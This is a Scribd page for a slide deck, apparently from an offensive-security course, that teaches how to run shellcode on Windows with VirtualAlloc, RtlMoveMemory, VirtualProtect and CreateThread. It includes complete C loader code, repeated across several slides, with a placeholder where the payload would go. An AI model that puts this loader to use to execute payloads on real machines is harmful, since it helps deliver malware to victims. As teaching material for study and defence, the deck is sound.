0% found this document useful (0 votes)
41 views9 pages

32 Executing A Shellcode Using Createthread

32 Executing a Shellcode Using Createthread

Uploaded by

anand-1
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
41 views9 pages

32 Executing A Shellcode Using Createthread

32 Executing a Shellcode Using Createthread

Uploaded by

anand-1
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 9

Executing a shellcode using

CreateThread()

https://t.me/learningnets
Step 1: Allocate the memory for shellcode

VirtualAlloc( )

Process
https://t.me/learningnets
Step 2: Copy the shellcode into this memory

VirtualAlloc( ) SHELLCODE

RtlMoveMemory( )

Process
https://t.me/learningnets
Step 3: make it executable

VirtualAlloc( ) SHELLCODE

EXECUTABLE
RtlMoveMemory( )

VirtualProtect( )

Process
https://t.me/learningnets
Step 4: run it using CreateThread()

VirtualAlloc( ) SHELLCODE

EXECUTABLE
RtlMoveMemory( )

VirtualProtect( )

CreateThread( ) New Thread

Process
https://t.me/learningnets
Code:

unsigned char shellcode[ ] = <shellcode>

int main( )
{

void *shellcode_memory;

//Allocate memory for shellcode


shellcode_memory = VirtualAlloc( 0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE );

//copy the shellcode to memory


RtlMoveMemory( shellcode_memory, shellcode, sizeof(shellcode)); shellcode_memory

//make the stored shellcode executable

DWORD oldprotect = 0;

BOOL output = VirtualProtect( shellcode_memory, sizeof(shellcode), PAGE_EXECUTE_READ, &oldprotect);

if ( output != 0 )
{
//run the shellcode
HANDLE hThread = CreateThread( NULL,0, (LPTHREAD_START_ROUTINE)shellcode_memory, 0, 0, 0);
WaitForSingleObject(hThread,-1);
}
return 0;

}
Process

https://t.me/learningnets
Code:

unsigned char shellcode[ ] = <shellcode>

int main( )
{

void *shellcode_memory;

//Allocate memory for shellcode


shellcode_memory = VirtualAlloc( 0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE );
SHELLCODE
//copy the shellcode to memory
RtlMoveMemory( shellcode_memory, shellcode, sizeof(shellcode)); shellcode_memory

//make the stored shellcode executable

DWORD oldprotect = 0;

BOOL output = VirtualProtect( shellcode_memory, sizeof(shellcode), PAGE_EXECUTE_READ, &oldprotect);

if ( output != 0 )
{
//run the shellcode
HANDLE hThread = CreateThread( NULL,0, (LPTHREAD_START_ROUTINE)shellcode_memory, 0, 0, 0);
WaitForSingleObject(hThread,-1);
}
return 0;

}
Process

https://t.me/learningnets
Code:

unsigned char shellcode[ ] = <shellcode>

int main( )
{

void *shellcode_memory;

//Allocate memory for shellcode


shellcode_memory = VirtualAlloc( 0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE );
SHELLCODE
//copy the shellcode to memory
RtlMoveMemory( shellcode_memory, shellcode, sizeof(shellcode)); shellcode_memory
( EXECUTABLE )
//make the stored shellcode executable

DWORD oldprotect = 0;

BOOL output = VirtualProtect( shellcode_memory, sizeof(shellcode), PAGE_EXECUTE_READ, &oldprotect);

if ( output != 0 )
{
//run the shellcode
HANDLE hThread = CreateThread( NULL,0, (LPTHREAD_START_ROUTINE)shellcode_memory, 0, 0, 0);
WaitForSingleObject(hThread,-1);
}
return 0;

}
Process

https://t.me/learningnets
Code:

unsigned char shellcode[ ] = <shellcode>

int main( )
{

void *shellcode_memory;

//Allocate memory for shellcode


shellcode_memory = VirtualAlloc( 0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE );
SHELLCODE
//copy the shellcode to memory
RtlMoveMemory( shellcode_memory, shellcode, sizeof(shellcode)); shellcode_memory
( EXECUTABLE )
//make the stored shellcode executable

DWORD oldprotect = 0;

BOOL output = VirtualProtect( shellcode_memory, sizeof(shellcode), PAGE_EXECUTE_READ, &oldprotect);

if ( output != 0 )
{
//run the shellcode
HANDLE hThread = CreateThread( NULL,0, (LPTHREAD_START_ROUTINE)shellcode_memory, 0, 0, 0); New Thread
WaitForSingleObject(hThread,-1);
}
return 0;

}
Process

https://t.me/learningnets

You might also like